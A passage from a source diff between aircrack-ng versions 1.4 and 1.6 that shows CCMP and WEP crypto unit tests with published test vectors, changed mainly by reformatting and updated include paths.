+		  "\x72\x22\x81\x4e\x9c\xa5\x3b\x6b\x03\x66\x45\x31\xe9\x40\x52\x3b"
+		  "\x30\x37\x8c\xb1\xb9\xdb\xdd\x0f\xda\x23\x44\xb8\xd0\x67\x45\xf0"
+		  "\x1f\x36\x81\x7b\xc5\x7a\x3d\x71\xe3\xe0\xcc\xe0\x43\x21\x42\x67"
+		  "\xc7\x35\x75\x12\x43\x38\x7f\x20\x5b\xab\xda\x6c\xfc\x86\x08\xdb"
+		  "\x05\xb8\x73\x2b\x37\x32\xeb\x86\xe0\x9d\xc4\xba\xcb\x19\x41\x5a"
+		  "\xb0\xf7\xa8\x41\xb5\xd5\x84\x1a\x07\x78\x0d\x8a\x6c\x52\xb0\xac"
+		  "\xaa\x7f\x36\x65\x21\x90\xf1\xf6\x04\x39\x57\x89\xfa\x8b\xbc\xf8"
+		  "\x2f\x5a\xe6\x51\xe7\x48\x5f\xdb\x57\xfa\x2b\x85\x64\x74\xb0\x0d"
+		  "\x83\x51\x31\x1e\x59\x8b\x5c\x9b\xb8\xc8\x09\x56\x1c\x40\x78\xee"
+		  "\x8d\xd6\x69\xbd\x72\x5a\x51\xfb\x97\x03\x17\xe5\x14\xa6\xde\x2f"
+		  "\x48\x5b\xf0\xe8\xec\xb2\x6a\x91\x59\x6a\x05\xcb\x4b\xe4\xd2\x9b"
+		  "\x4c\xc6\x91\xf1\xe4\x04\xa0\xd3\xf6\xee\x2f\x45\xde\x11\x58\x36"
+		  "\xff\x44\x75\x9f\x86\xf6\x09\x35\xba\xfe\x2d\x5c\x93\x80\x21\x3e"
+		  "\xa0\xa8\x68\x39\x56\xa6\x23\xe9\x4a\x34\xd7\x67\x24\x5d\x56\x8d"
+		  "\xa8\x43\x4d\xe5\xc7\x2a\xee\x36\x91\xec\x79\xbd\x10\x24\xe0\x79"
+		  "\xc8\xca\xe9\xbb\x38\x81\x69\xd2\x35\x2c\xcf\x49\x20\x08\x73\xd0"
+		  "\x98\x45\xda\x7a\xfd\x6f\xf6\x0c\xee\xbd\xcd\x7f\x48\x6e\xfd\x54"
+		  "\xc4\xe3\x0b\xb8\x9a\xc0\xf1\x10\x14\xb7\x3c\x79\x0d\xd5\x9a\x95"
+		  "\x56\x47\x8b\x94\xda\x01\xa8\x5a\x2a\xa0\x06\x66\xb7\x51\xe3\x7c"
+		  "\x3a\xe6\x1e\x2a\x11\x17\x27\xb9\x37\x0c\xa3\x64\xf6\x29\x00\xdf"
+		  "\xd8\x24\xe1\x18\x43\xc0\xbb\xd2\x7c\x50\x5d\xf3\x79\x4e\xd6\x54"
+		  "\x93\x5e\x35\x88\xa6\x13\x1e\x98\x38\xa8\x73\xc9\xc6\x88\xc0\xdb"
+		  "\x4c\xc8\xbc\x8c\x32\x41\x84\x57\x15\x33\x4b\x60\x7f\xb2\x3f\x85"
+		  "\xfe\x5a\x5a\x9f\xf1\x9f\x6c\x76\x33\x41\x13\x8f\x90\x3f\x45\x5a"
+		  "\xcc\x81\x03\xa5\x82\x5a\xca\xec\xae\x5b\xc8\x17\xc2\x18\x9b\xa3"
+		  "\x99\x0e\x07\x4e\xd2\xa7\xa2\x5a\x24\xd4\xf2\x3a\x6e\x15\x1d\x21"
+		  "\x21\x28\xd6\x62\xf6\x90\x80\xbb\xf4\xdb\xf9\x76\xb8\xd9\xeb\xb4"
+		  "\xe5\x13\xb6\x1e\x42\x22\x7c\xc4\xdb\xff\xe8\xbb\xf2\xf1\xd3\x4d"
+		  "\x18\xcf\xa8\xfd\xd7\xd0\x34\x24\xf2\x5d\xb2\x1c\x6a\x05\x07\xd5"
+		  "\xc9\xff\xc0\xe2\x96\xa3\x68\x53\x3f\xba\x0e\x07\xbd\x37\xf7\x5f"
+		  "\xae\x5d\x7c\x5e\x3b\x56\x1a\x51\xac\xa8\x46\x4a\x77\xc8\x6a\xc1"
+		  "\x68\x49\x11\xa0\x47\x64\x1f\x75\x95\xf2\x26\xf1\x0e\x44\x0b\x62"
+		  "\x8c\x81\x31\x75\x0b\xc0\x24\x64\x4b\xad\x2f\x19\x98\xad\x68\xc1"
+		  "\xba\x71\xd2\xa1\xc4\xc7\xa9\x9e\xc8\xba\x5d\x9a\xe4\x0b\xd1\x48"
+		  "\xb3\x27\xaa\xe7\xf1\x40\xb4\x28\x2d\xac\x38\x68\x14\xc8\xb8\xe2"
+		  "\xd4\x4c\xd4\xfa\x2f\x69\x2b\xf5\xaf\x10\x3d\x13\x21\x26\x94\x0b"
+		  "\x4c\xb2\x5f\x99\xac\x04\x88\x74\x43\x76\x75\x4c\x27\x5c\x36\xee"
+		  "\x32\x75\x3e\x55\x38\xc7\xd5\x76\x9d\xbd\xfc\xa3\x55\x08\xbf\x3a"
+		  "\xb3\x82\x89\xb3\x0d\x3e\x54\xbc\x30\xfa\xb7\xc3\xf9\x9f\xbe\xfc"
+		  "\x87\x89\x3c\x6d\x0b\x69\x7b\xbf";
+	unsigned char expected[1496]
+		= "\x08\x41\x02\x01\x00\x0b\x86\xc2\xa4\x85\x00\x13\xce\x55\x98\xef"
+		  "\x00\x0f\x66\xe3\xe4\x01\x20\x2e\x01\x00\x00\x20\x00\x00\x00\x00"
+		  "\xaa\xaa\x03\x00\x00\x00\x08\x00\x45\x00\x00\x21\x6a\x12\x00\x00"
+		  "\x01\x01\xf7\x43\xac\x10\x00\x65\xac\x10\x00\x01\x08\x00\x26\x67"
+		  "\x04\x00\x03\x00\x44\x48\x43\x50\x43\x34\x65\x66\x21\x68\xa8\xc7"
+		  "\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		  "\x00\x41\xe2\x61\x88\x6d\xb4\xde\x64\x11\x22\xc7\xc2\x24\x02\x60"
+		  "\x51\x00\x00\x30\x82\x09\x57\x76\x59\xa9\xd2\x35\x57\x73\x12\xc4"
+		  "\x69\x34\x0f\xd0\x2c\x1f\x55\xa9\xcf\x6a\xc3\x08\x03\x6f\xa1\x4a"
+		  "\x9e\xa6\xef\x71\x6d\xb6\x2f\xcc\x0c\xbb\x40\x6e\x90\x1d\x3e\xa2"
+		  "\x53\xf9\x26\x71\x65\x02\x47\xd1\xb6\xb1\x01\xd9\x48\x80\xcd\x6c"
+		  "\x65\x75\x5b\xf4\x95\x1a\x68\xae\xdf\x8b\x8d\xbb\x5f\x4f\xd5\x8b"
+		  "\x66\xb1\x3c\x72\x16\xe8\x5b\x70\x6f\x1b\xdd\xa7\x8a\xd8\x24\xed"
+		  "\xc9\x77\x1a\xa0\x74\x36\x3e\x70\x5b\x52\xbd\x7c\x11\x50\x60\x1d"
+		  "\x24\x85\x8b\x8a\xb3\x63\x5c\x5b\x09\x94\xaf\xa5\xe8\xc4\xae\x65"
+		  "\x92\xa8\x26\xfd\x28\x43\x37\x4c\x6d\x19\x79\x14\x95\x40\x5a\xf6"
+		  "\x98\xb7\xd7\x79\xfb\xfe\xbd\x0c\xc5\xf8\x77\xaf\x98\x9e\xf4\xad"
+		  "\xce\x40\xcc\x28\xeb\xc6\xa9\xd7\xf9\x98\xfc\xbb\xc3\x66\x94\x4e"
+		  "\xea\x6e\xdd\x30\x3b\x65\x6b\xfd\x05\xa8\x68\x2e\x7e\xaa\x43\xe4"
+		  "\x65\x26\x11\x83\x86\xe1\x68\x15\x90\xdf\x81\x5c\x01\xdf\x3d\x85"
+		  "\x56\x34\x14\x31\x2a\xbf\x6f\xb5\xd6\xcf\xbe\xe9\x07\xc9\x36\xe7"
+		  "\x31\x83\x5b\xfa\x4a\x29\x62\xfe\x76\x40\xed\x64\xb8\x2a\xc7\x3c"
+		  "\xb5\x76\xd9\x07\x2b\x3a\xde\xc1\xaa\xaa\xd5\x24\xbf\x74\x91\xd9"
+		  "\x1a\xb3\x93\x83\xda\xa6\xb0\xd2\xc7\xbe\x0c\xdd\x17\x87\xff\xa2"
+		  "\x21\x95\xe9\x08\x3b\x97\xde\x62\x3c\x17\x7c\xf1\xfc\x58\x21\x8f"
+		  "\x11\x28\x79\xed\x9e\xa5\x4a\xb3\x48\x8a\xf6\xcd\xd1\xb4\x54\xe6"
+		  "\xfc\x5b\x87\xd6\x81\x67\x14\x0a\xd4\x4e\xf6\x7a\x66\xc1\x87\xc3"
+		  "\x9e\xb0\xbe\x15\xb4\xb8\xca\x6a\x54\x80\x72\x23\xdf\x10\x70\x4a"
+		  "\xb5\x6b\xef\x56\x94\x96\xc0\x65\x79\x14\xc0\xc5\x88\x26\x52\xa0"
+		  "\x32\xd0\xe2\x2e\x9a\x31\x36\xf1\x4b\x29\x2e\x68\x6c\x07\x67\x36"
+		  "\xc0\x43\xe3\x95\xea\x90\xce\xe2\x2d\x34\x3d\x96\x29\x1f\xb4\x4d"
+		  "\x61\x8d\xd5\xdb\xde\xce\x65\xcc\xfc\x0e\x30\xa0\xfb\x92\xd2\xd0"
+		  "\xac\x9f\x6b\xe4\xf2\x2f\x86\xf6\x91\xd6\x18\x97\x68\x27\xd1\x4b"
+		  "\x4f\x92\xda\x63\x32\xbf\x0f\x95\x8a\x10\xb0\xc5\xc2\x5a\xa9\x31"
+		  "\x67\x8f\x23\x21\xc5\x96\x97\x2d\x14\x46\xbb\x3f\x82\x4a\x31\x0a"
+		  "\x6c\x0f\x21\xab\x52\x4b\x9c\x89\xdf\x00\xbb\x80\x4f\xa8\x78\xe6"
+		  "\x9b\x0a\x96\xb8\x81\x03\x74\x93\x32\xc8\x3a\x72\x31\x58\x72\xec"
+		  "\xab\x33\x60\xeb\x0c\xb4\x35\x7e\x40\x0c\x74\x24\xb1\xd9\x84\xc6"
+		  "\x3d\x88\x6f\x7d\x8c\xfd\xe2\x59\xb5\x24\xe1\x9b\xbf\x84\xf6\x43"
+		  "\x67\x95\x88\x52\x87\x82\x47\xc2\x3f\xae\x56\x2a\x31\xd9\x07\x27"
+		  "\x01\xc6\xef\x0a\x12\x38\x03\x93\x91\x9c\xaa\xc6\x14\x3a\x1b\x26"
+		  "\x6e\x16\x0b\xb1\xc1\xef\x8d\x0c\xa8\x82\xc4\x5a\x28\xd4\xd0\x46"
+		  "\x90\xc9\xbc\xac\x37\x68\x03\xbe\x6f\x4f\x60\x6f\xee\xb8\x34\x03"
+		  "\x3a\x7d\xd0\x9f\xc9\x8d\x95\xc1\x0f\x3d\xc8\xeb\x84\xfe\x42\xd7"
+		  "\xf2\xae\x14\xf0\x1b\xcf\x95\x23\x54\xb7\x2e\x68\x79\xe2\xf3\x22"
+		  "\xe7\x6f\x51\x5e\xa2\xe3\xd3\xb5\x6d\xea\x77\xc0\xb3\xbc\x4f\x55"
+		  "\xf2\x04\xc8\x63\x14\x8d\x17\xd6\x7f\x79\x8d\x95\xd3\x76\x35\x3a"
+		  "\x09\xe4\xb8\x08\xe1\xfb\xe1\xf5\xb7\xc4\x7a\x66\xfb\xe6\x59\xc2"
+		  "\x9b\x60\xc5\xe5\xb1\x47\xcc\x12\xdc\xb7\x1f\x9e\xb8\x55\xfb\x5d"
+		  "\x01\xcf\x69\x2a\x85\x55\x55\xe9\x67\x64\x39\x66\xda\xe0\x94\x7f"
+		  "\xe4\xd1\xd9\x3e\xbd\x54\x13\x1c\xd6\x49\xdd\x22\xdf\xba\xce\x0b"
+		  "\xc6\x09\x9f\x17\xea\xea\xdd\x90\x25\xec\xa4\xb1\x31\x79\x53\x60"
+		  "\x14\x17\xe3\xe0\x17\x35\x88\x71\xc6\xd5\xe1\x74\x4c\xd0\xb8\xec"
+		  "\xdd\xd2\x8f\x39\xe6\xb4\xe4\xfd\x39\xf0\x5b\x56\xce\xe5\x0d\x9c"
+		  "\x72\x22\x81\x4e\x9c\xa5\x3b\x6b\x03\x66\x45\x31\xe9\x40\x52\x3b"
+		  "\x30\x37\x8c\xb1\xb9\xdb\xdd\x0f\xda\x23\x44\xb8\xd0\x67\x45\xf0"
+		  "\x1f\x36\x81\x7b\xc5\x7a\x3d\x71\xe3\xe0\xcc\xe0\x43\x21\x42\x67"
+		  "\xc7\x35\x75\x12\x43\x38\x7f\x20\x5b\xab\xda\x6c\xfc\x86\x08\xdb"
+		  "\x05\xb8\x73\x2b\x37\x32\xeb\x86\xe0\x9d\xc4\xba\xcb\x19\x41\x5a"
+		  "\xb0\xf7\xa8\x41\xb5\xd5\x84\x1a\x07\x78\x0d\x8a\x6c\x52\xb0\xac"
+		  "\xaa\x7f\x36\x65\x21\x90\xf1\xf6\x04\x39\x57\x89\xfa\x8b\xbc\xf8"
+		  "\x2f\x5a\xe6\x51\xe7\x48\x5f\xdb\x57\xfa\x2b\x85\x64\x74\xb0\x0d"
+		  "\x83\x51\x31\x1e\x59\x8b\x5c\x9b\xb8\xc8\x09\x56\x1c\x40\x78\xee"
+		  "\x8d\xd6\x69\xbd\x72\x5a\x51\xfb\x97\x03\x17\xe5\x14\xa6\xde\x2f"
+		  "\x48\x5b\xf0\xe8\xec\xb2\x6a\x91\x59\x6a\x05\xcb\x4b\xe4\xd2\x9b"
+		  "\x4c\xc6\x91\xf1\xe4\x04\xa0\xd3\xf6\xee\x2f\x45\xde\x11\x58\x36"
+		  "\xff\x44\x75\x9f\x86\xf6\x09\x35\xba\xfe\x2d\x5c\x93\x80\x21\x3e"
+		  "\xa0\xa8\x68\x39\x56\xa6\x23\xe9\x4a\x34\xd7\x67\x24\x5d\x56\x8d"
+		  "\xa8\x43\x4d\xe5\xc7\x2a\xee\x36\x91\xec\x79\xbd\x10\x24\xe0\x79"
+		  "\xc8\xca\xe9\xbb\x38\x81\x69\xd2\x35\x2c\xcf\x49\x20\x08\x73\xd0"
+		  "\x98\x45\xda\x7a\xfd\x6f\xf6\x0c\xee\xbd\xcd\x7f\x48\x6e\xfd\x54"
+		  "\xc4\xe3\x0b\xb8\x9a\xc0\xf1\x10\x14\xb7\x3c\x79\x0d\xd5\x9a\x95"
+		  "\x56\x47\x8b\x94\xda\x01\xa8\x5a\x2a\xa0\x06\x66\xb7\x51\xe3\x7c"
+		  "\x3a\xe6\x1e\x2a\x11\x17\x27\xb9\x37\x0c\xa3\x64\xf6\x29\x00\xdf"
+		  "\xd8\x24\xe1\x18\x43\xc0\xbb\xd2\x7c\x50\x5d\xf3\x79\x4e\xd6\x54"
+		  "\x93\x5e\x35\x88\xa6\x13\x1e\x98\x38\xa8\x73\xc9\xc6\x88\xc0\xdb"
+		  "\x4c\xc8\xbc\x8c\x32\x41\x84\x57\x15\x33\x4b\x60\x7f\xb2\x3f\x85"
+		  "\xfe\x5a\x5a\x9f\xf1\x9f\x6c\x76\x33\x41\x13\x8f\x90\x3f\x45\x5a"
+		  "\xcc\x81\x03\xa5\x82\x5a\xca\xec\xae\x5b\xc8\x17\xc2\x18\x9b\xa3"
+		  "\x99\x0e\x07\x4e\xd2\xa7\xa2\x5a\x24\xd4\xf2\x3a\x6e\x15\x1d\x21"
+		  "\x21\x28\xd6\x62\xf6\x90\x80\xbb\xf4\xdb\xf9\x76\xb8\xd9\xeb\xb4"
+		  "\xe5\x13\xb6\x1e\x42\x22\x7c\xc4\xdb\xff\xe8\xbb\xf2\xf1\xd3\x4d"
+		  "\x18\xcf\xa8\xfd\xd7\xd0\x34\x24\xf2\x5d\xb2\x1c\x6a\x05\x07\xd5"
+		  "\xc9\xff\xc0\xe2\x96\xa3\x68\x53\x3f\xba\x0e\x07\xbd\x37\xf7\x5f"
+		  "\xae\x5d\x7c\x5e\x3b\x56\x1a\x51\xac\xa8\x46\x4a\x77\xc8\x6a\xc1"
+		  "\x68\x49\x11\xa0\x47\x64\x1f\x75\x95\xf2\x26\xf1\x0e\x44\x0b\x62"
+		  "\x8c\x81\x31\x75\x0b\xc0\x24\x64\x4b\xad\x2f\x19\x98\xad\x68\xc1"
+		  "\xba\x71\xd2\xa1\xc4\xc7\xa9\x9e\xc8\xba\x5d\x9a\xe4\x0b\xd1\x48"
+		  "\xb3\x27\xaa\xe7\xf1\x40\xb4\x28\x2d\xac\x38\x68\x14\xc8\xb8\xe2"
+		  "\xd4\x4c\xd4\xfa\x2f\x69\x2b\xf5\xaf\x10\x3d\x13\x21\x26\x94\x0b"
+		  "\x4c\xb2\x5f\x99\xac\x04\x88\x74\x43\x76\x75\x4c\x27\x5c\x36\xee"
+		  "\x32\x75\x3e\x55\x38\xc7\xd5\x76\x9d\xbd\xfc\xa3\x55\x08\xbf\x3a"
+		  "\xb3\x82\x89\xb3\x0d\x3e\x54\xbc\x30\xfa\xb7\xc3\xf9\x9f\xbe\xfc"
+		  "\x87\x89\x3c\x6d\x0b\x69\x7b\xbf";
 
+	unsigned char expected_output[BUFFER_SIZE];
+	unsigned char input[BUFFER_SIZE];
 
-    unsigned char expected_output[BUFFER_SIZE];
-    unsigned char input[BUFFER_SIZE];
+	bzero(&expected_output, BUFFER_SIZE);
+	bzero(&input, BUFFER_SIZE);
+	memcpy(&expected_output, expected, sizeof(expected));
+	memcpy(&input, h80211, sizeof(h80211));
 
-    bzero(&expected_output,BUFFER_SIZE);
-    bzero(&input,BUFFER_SIZE);
-    memcpy(&expected_output,expected,sizeof(expected));
-    memcpy(&input,h80211,sizeof(h80211));
+	if (!decrypt_ccmp(input, caplen1, tk1)) error++;
+	error += test(input, expected_output, sizeof(expected), argv[0]);
 
-    if (! decrypt_ccmp( input, caplen1, tk1 ))
-        error++;
-    error += test(input,expected_output,sizeof(expected),argv[0]);
-
-    return error;
+	return error;
 }
-

aircrack-ng-1.4.tar.gz/test/cryptounittest/test-encrypt-ccmp.c -> aircrack-ng-1.6.tar.gz/test/cryptounittest/test-encrypt-ccmp.c Changed

@@ -22,56 +22,56 @@
  *
  */
 
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
 
 #include <stdio.h>
 #include <string.h>
 #include <strings.h>
 #include <stdlib.h>
-#include "crypto.h"
+
+#include "aircrack-ng/crypto/crypto.h"
 #include "tests.h"
 
 #define BUFFER_SIZE 65536
 
-int main(int argc, char **argv)
+int main(int argc, char ** argv)
 {
-    int error = 0;
-    int caplen = 44;
+	int error = 0;
+	int caplen = 44;
 
-    // CCMP test vector as described in IEEE 802.11(TM)-2012, Section M.6.4.
+	// CCMP test vector as described in IEEE 802.11(TM)-2012, Section M.6.4.
 
-    unsigned char tk1[16] =
-    "\xc9\x7c\x1f\x67\xce\x37\x11\x85\x51\x4a\x8a\x19\xf2\xbd\xd5\x2f";
+	unsigned char tk1[16]
+		= "\xc9\x7c\x1f\x67\xce\x37\x11\x85\x51\x4a\x8a\x19\xf2\xbd\xd5\x2f";
 
-    unsigned char pn[6] =
-    "\xb5\x03\x97\x76\xe7\x0c";
+	unsigned char pn[6] = "\xb5\x03\x97\x76\xe7\x0c";
 
-    unsigned char h80211[44] =
-    "\x08\x48\xc3\x2c\x0f\xd2\xe1\x28\xa5\x7c\x50\x30\xf1\x84\x44\x08"
-    "\xab\xae\xa5\xb8\xfc\xba\x80\x33\xf8\xba\x1a\x55\xd0\x2f\x85\xae"
-    "\x96\x7b\xb6\x2f\xb6\xcd\xa8\xeb\x7e\x78\xa0\x50";
+	unsigned char h80211[44]
+		= "\x08\x48\xc3\x2c\x0f\xd2\xe1\x28\xa5\x7c\x50\x30\xf1\x84\x44\x08"
+		  "\xab\xae\xa5\xb8\xfc\xba\x80\x33\xf8\xba\x1a\x55\xd0\x2f\x85\xae"
+		  "\x96\x7b\xb6\x2f\xb6\xcd\xa8\xeb\x7e\x78\xa0\x50";
 
-    unsigned char expected[60] =
-    "\x08\x48\xc3\x2c\x0f\xd2\xe1\x28\xa5\x7c\x50\x30\xf1\x84\x44\x08"
-    "\xab\xae\xa5\xb8\xfc\xba\x80\x33\x0c\xe7\x00\x20\x76\x97\x03\xb5"
-    "\xf3\xd0\xa2\xfe\x9a\x3d\xbf\x23\x42\xa6\x43\xe4\x32\x46\xe8\x0c"
-    "\x3c\x04\xd0\x19\x78\x45\xce\x0b\x16\xf9\x76\x23";
+	unsigned char expected[60]
+		= "\x08\x48\xc3\x2c\x0f\xd2\xe1\x28\xa5\x7c\x50\x30\xf1\x84\x44\x08"
+		  "\xab\xae\xa5\xb8\xfc\xba\x80\x33\x0c\xe7\x00\x20\x76\x97\x03\xb5"
+		  "\xf3\xd0\xa2\xfe\x9a\x3d\xbf\x23\x42\xa6\x43\xe4\x32\x46\xe8\x0c"
+		  "\x3c\x04\xd0\x19\x78\x45\xce\x0b\x16\xf9\x76\x23";
 
-    unsigned char expected_output[BUFFER_SIZE];
-    unsigned char input[BUFFER_SIZE];
+	unsigned char expected_output[BUFFER_SIZE];
+	unsigned char input[BUFFER_SIZE];
 
-    if (argc < 1)
-	return 1;
+	if (argc < 1) return 1;
 
-    bzero( expected_output, BUFFER_SIZE );
-    bzero( input, BUFFER_SIZE );
-    memcpy( expected_output, expected, sizeof(expected) );
-    memcpy( input, h80211, sizeof(h80211) );
+	bzero(expected_output, BUFFER_SIZE);
+	bzero(input, BUFFER_SIZE);
+	memcpy(expected_output, expected, sizeof(expected));
+	memcpy(input, h80211, sizeof(h80211));
 
-    caplen = encrypt_ccmp( input, caplen, tk1, pn );
-    if ( caplen != sizeof(expected) )
-        error++;
-    error += test( input, expected_output, sizeof(expected), argv[0] );
+	caplen = encrypt_ccmp(input, caplen, tk1, pn);
+	if (caplen != sizeof(expected)) error++;
+	error += test(input, expected_output, sizeof(expected), argv[0]);
 
-    return error;
+	return error;
 }
-

aircrack-ng-1.4.tar.gz/test/cryptounittest/test-encrypt-wep.c -> aircrack-ng-1.6.tar.gz/test/cryptounittest/test-encrypt-wep.c Changed

@@ -22,72 +22,71 @@
  *
  */
 
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
 
 #include <stdio.h>
 #include <string.h>
 #include <stdlib.h>
-#include "crypto.h"
+
+#include "aircrack-ng/crypto/crypto.h"
 #include "tests.h"
 
 #define BLEN 256
 #define KLEN 13
 
-
-
-int main(int argc, char **argv)
+int main(int argc, char ** argv)
 {
-    if (argc < 1) return 1;
-
-    int error=0;
-
-    static unsigned char expected[BLEN] =
-             "\x72\xea\x7c\xf3\x62\xd0\x63\xb6\xf6\x3b\xd6\xfc\x1c\x6c\xc0\x18"
-             "\xd0\x10\x23\xd6\x86\x4e\x04\xf0\x0e\xc7\x34\xca\x66\x34\x01\xac"
-             "\x46\xd4\x7d\x15\x24\xa7\xaa\xb0\x06\x01\x4f\x9f\x61\x1c\x4e\x6d"
-             "\x54\x22\x83\x6f\x36\x43\x12\x01\x07\xb8\xdb\x3c\x32\xc6\xe2\x5f"
-             "\x66\x4e\x7e\x55\x4f\x5d\x61\x30\x8a\xb9\xb7\x11\xcb\xae\xe9\x68"
-             "\x66\x10\x7d\xe7\x39\x29\xef\xb0\x69\xca\xec\xcf\x2c\x68\x57\x52"
-             "\x62\x4f\x89\xd6\x58\x05\xe3\x6a\xa1\xd1\xc8\x2c\x0b\x2d\xe4\xc9"
-             "\x73\xd7\xb0\x4f\x65\x57\xa2\x19\xc7\xbf\xa1\xa7\x43\x49\x51\x14"
-             "\xa4\x12\x24\x15\xb1\x71\x39\xde\x5e\x95\x15\xb4\xb9\xb5\x61\x57"
-             "\xbf\x43\x24\xe2\xb8\x9f\x38\x2f\x45\x29\xfa\x95\x80\x18\x0d\x5d"
-             "\x41\x35\x2a\x83\x44\x37\x71\xcb\x80\x3d\x9d\xc4\xdc\xc4\x26\xea"
-             "\x28\xb9\xa7\x2b\x40\x56\x27\xee\xbc\xfa\xf7\x98\x09\x33\xd1\xe3"
-             "\x85\x79\x0d\xd8\x87\xa3\xfe\x8e\x37\xc4\x48\xbf\x66\x86\xfa\x49"
-             "\x0e\x0f\xf2\x82\x42\xfe\x87\xcd\x18\xb0\x8a\x91\xbb\x97\x9b\x4e"
-             "\x92\x36\xb2\x47\x12\xf0\xeb\x09\xdc\x7a\xdf\x60\xdf\xcd\x19\x7c"
-             "\x2d\x72\x4e\x3a\x6d\x8f\x53\x8e\xe1\x03\xeb\x44\x4a\x02\x9f\x52";
-    static unsigned char key[KLEN] =
-             "\x6E\x9C\x7A\x91\x9F\xB8\xAE\x93\xC1\xAB\x80\x3C\x09";
-    static unsigned char input[BLEN] =
-             "\x91\xCE\xFF\xF0\x9B\x76\xB1\xC7\xB3\xAE\xE9\xB6\x39\xE2\xE2\xCB"
-             "\x46\xBB\x20\xDA\xEF\x0D\xD8\x65\x75\x37\xFF\x8B\x78\x49\x39\x6E"
-             "\x08\x6D\x93\x0A\x40\xD1\xA7\xE6\x22\x6B\xFF\x94\x21\xA8\x0E\xDB"
-             "\x33\x2B\x4B\x88\x19\x6C\x94\x0E\xF3\xD8\xCC\xCB\xAF\x99\x89\x49"
-             "\x4F\x4B\x42\x4F\xF4\x96\xA6\xD3\xC9\x00\xB7\xC7\x11\x63\x95\x0E"
-             "\x29\x71\x0A\x38\xC2\x04\xDF\xB5\x01\xAA\xCA\x86\x47\x4A\xA3\x41"
-             "\xE6\x1A\x00\xA7\xD6\xFF\xE7\x89\x64\xB5\x38\x2A\x5D\xBC\x13\x94"
-             "\x8E\x0C\x93\xB6\xC8\x4E\x4F\xC6\x06\x9B\xEF\x9B\x56\xE3\x90\x54"
-             "\xCB\x34\x64\x0B\x3D\x12\x02\x62\xFE\xDC\xA8\x8E\x38\xCE\x36\x3A"
-             "\xE8\x4D\xF0\xED\x71\x59\xE5\xED\xA4\xB1\x12\xEB\xD5\x83\xA6\xC9"
-             "\x5C\x76\x98\x8D\x1B\xCB\x3C\x31\xF5\x10\xFE\x40\xCC\x83\x27\xE6"
-             "\xDF\xB9\xE1\x84\xFC\xC3\xCC\x8D\x7A\xA3\xE5\x61\x56\x92\xAD\x7C"
-             "\xA2\x62\x46\x6F\x5C\xA0\x16\xC4\x52\xDB\xF6\x75\xE1\x35\x22\x91"
-             "\xE8\x81\x87\x13\xC1\xC1\x0A\xB0\xBE\x20\xE7\xF5\x55\x55\x0C\xF3"
-             "\x99\x67\x53\xAF\x35\x15\xA9\x48\x72\xD8\xEB\x4A\xCF\x5B\xF5\xB6"
-             "\xBC\x30\x24\xCB\xFD\x6C\x5C\xF5\x62\x5C\xFD\xA5\x65\xD9\xD4\xD7";
-
-
-    unsigned char buffer[BLEN]; memcpy(&buffer, &input, BLEN);
-
-
-    encrypt_wep( buffer, BLEN, key, KLEN );
-    error += test(buffer,expected,BLEN,argv[0]);
-
-    decrypt_wep( buffer, BLEN, key, KLEN );
-    error += test(buffer,input,BLEN,argv[0]);
-
-
-    return error;
+	if (argc < 1) return 1;
+
+	int error = 0;
+
+	static unsigned char expected[BLEN]
+		= "\x72\xea\x7c\xf3\x62\xd0\x63\xb6\xf6\x3b\xd6\xfc\x1c\x6c\xc0\x18"
+		  "\xd0\x10\x23\xd6\x86\x4e\x04\xf0\x0e\xc7\x34\xca\x66\x34\x01\xac"
+		  "\x46\xd4\x7d\x15\x24\xa7\xaa\xb0\x06\x01\x4f\x9f\x61\x1c\x4e\x6d"
+		  "\x54\x22\x83\x6f\x36\x43\x12\x01\x07\xb8\xdb\x3c\x32\xc6\xe2\x5f"
+		  "\x66\x4e\x7e\x55\x4f\x5d\x61\x30\x8a\xb9\xb7\x11\xcb\xae\xe9\x68"
+		  "\x66\x10\x7d\xe7\x39\x29\xef\xb0\x69\xca\xec\xcf\x2c\x68\x57\x52"
+		  "\x62\x4f\x89\xd6\x58\x05\xe3\x6a\xa1\xd1\xc8\x2c\x0b\x2d\xe4\xc9"
+		  "\x73\xd7\xb0\x4f\x65\x57\xa2\x19\xc7\xbf\xa1\xa7\x43\x49\x51\x14"
+		  "\xa4\x12\x24\x15\xb1\x71\x39\xde\x5e\x95\x15\xb4\xb9\xb5\x61\x57"
+		  "\xbf\x43\x24\xe2\xb8\x9f\x38\x2f\x45\x29\xfa\x95\x80\x18\x0d\x5d"
+		  "\x41\x35\x2a\x83\x44\x37\x71\xcb\x80\x3d\x9d\xc4\xdc\xc4\x26\xea"
+		  "\x28\xb9\xa7\x2b\x40\x56\x27\xee\xbc\xfa\xf7\x98\x09\x33\xd1\xe3"
+		  "\x85\x79\x0d\xd8\x87\xa3\xfe\x8e\x37\xc4\x48\xbf\x66\x86\xfa\x49"
+		  "\x0e\x0f\xf2\x82\x42\xfe\x87\xcd\x18\xb0\x8a\x91\xbb\x97\x9b\x4e"
+		  "\x92\x36\xb2\x47\x12\xf0\xeb\x09\xdc\x7a\xdf\x60\xdf\xcd\x19\x7c"
+		  "\x2d\x72\x4e\x3a\x6d\x8f\x53\x8e\xe1\x03\xeb\x44\x4a\x02\x9f\x52";
+	static unsigned char key[KLEN]
+		= "\x6E\x9C\x7A\x91\x9F\xB8\xAE\x93\xC1\xAB\x80\x3C\x09";
+	static unsigned char input[BLEN]
+		= "\x91\xCE\xFF\xF0\x9B\x76\xB1\xC7\xB3\xAE\xE9\xB6\x39\xE2\xE2\xCB"
+		  "\x46\xBB\x20\xDA\xEF\x0D\xD8\x65\x75\x37\xFF\x8B\x78\x49\x39\x6E"
+		  "\x08\x6D\x93\x0A\x40\xD1\xA7\xE6\x22\x6B\xFF\x94\x21\xA8\x0E\xDB"
+		  "\x33\x2B\x4B\x88\x19\x6C\x94\x0E\xF3\xD8\xCC\xCB\xAF\x99\x89\x49"
+		  "\x4F\x4B\x42\x4F\xF4\x96\xA6\xD3\xC9\x00\xB7\xC7\x11\x63\x95\x0E"
+		  "\x29\x71\x0A\x38\xC2\x04\xDF\xB5\x01\xAA\xCA\x86\x47\x4A\xA3\x41"
+		  "\xE6\x1A\x00\xA7\xD6\xFF\xE7\x89\x64\xB5\x38\x2A\x5D\xBC\x13\x94"
+		  "\x8E\x0C\x93\xB6\xC8\x4E\x4F\xC6\x06\x9B\xEF\x9B\x56\xE3\x90\x54"
